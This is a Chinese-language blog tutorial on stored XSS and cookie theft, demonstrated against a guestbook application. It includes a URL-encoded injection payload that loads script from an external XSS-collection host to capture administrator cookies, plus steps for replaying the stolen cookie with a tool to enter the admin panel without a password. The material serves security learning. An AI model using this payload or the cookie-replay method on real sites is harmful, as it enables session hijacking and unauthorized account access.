XSS跨站攻击就是攻击者通过一些正常的站内交互途径(发布文章、添加文章、发送邮件、留言),提交含有恶意javascript脚本代码的文本内容。如果服务器端没有过滤这些恶意脚本,反而将其作为网站内容发布到Web页面上。当其他用户访问该页面的时候,这些恶意脚本就会被执行,用户就会被收到攻击。
具体的攻击方法可能为:
最基本的XSS跨站攻击方法就是窃取受害者Cookie信息。
其基本原理如下:
在另外一片博文中,我专门叙述过什么是Cookie。
这里,我们只是直观的感受一下Cookie。
在浏览器的地址栏输入:javascript:alert(document.cookie),按下Enter键,即能看到当前Cookie值。
有人可能会疑惑:这么复杂的一段代码,攻击者难道真的能破解出明文,然后冒充我们的身份?
事实上,攻击者并不需要知道这段代码的含义!
攻击者只需要把这个Cookie信息提交给服务器并通过验证,那么攻击者就可以冒充受害者的身份登陆网站。
这就是我们常说的Cookie欺骗/Cookie会话攻击。
本文以逍遥留言本V1.0
为例进行学习。
进入网站,可以看到网站首页的留言本显示如下:
重开一个网页,以管理员身份登陆后台。可以看到留言本管理后台显示如下:
我们在这个阶段先不考虑过滤的问题,过滤的问题我们以后再研究。
点击“管理选项”,将”保留html功能”点击为关闭,这样做是为了保证我们之后输入的javascript代码能够在留言本中顺利执行。
回到留言本首页,点击“发表留言”。
我们在这里随便留一段文字aaaaaaaaaaaaaaaaaaaaaaaaaaaaa
。
点击“提交留言”,之后系统会弹窗提示留言需要等待后台管理人员的审核。
以管理员登陆后台管理页面,可以看到我们刚刚留言的文字,状态为隐藏。
点击这段文字,将其状态选择为公开。
返回留言本首页,我们可以看到刚才留言的文字显示在首页了。
Part 3 挖掘XSS漏洞
按照之前的步骤,我们留以下javascript代码:
。
按照之前的步骤,登陆后台>>留言公开。
返回到留言本首页,刷新网页,即能看到弹窗。
如下图所示:
这说明此网站存在一个存储型XSS。
注册一个XSS平台,复制其中项目中的一段代码。
在留言板中输入我们预先构造好的一段javascript代码:
</textarea>'">%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fxss.fbisb.com%2FST14dQ%3F%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>
登陆后台>>留言公开。这时候我们退出网站,然后再以管理员身份登陆后台(这里模仿真实环境下的用户访问网页信息)。
我们登陆之前使用的XSS平台,即能看到Cookie信息。具体如下:
我们使用啊D来利用Cookie信息。
打开啊D>>浏览网页,将toplocation后面的URL复制进“检测网站”,将Cookie复制进“Cookie修改”,点击连接,即可看到管理页面,说明我们没有帐号和密码也顺利登陆了管理页面。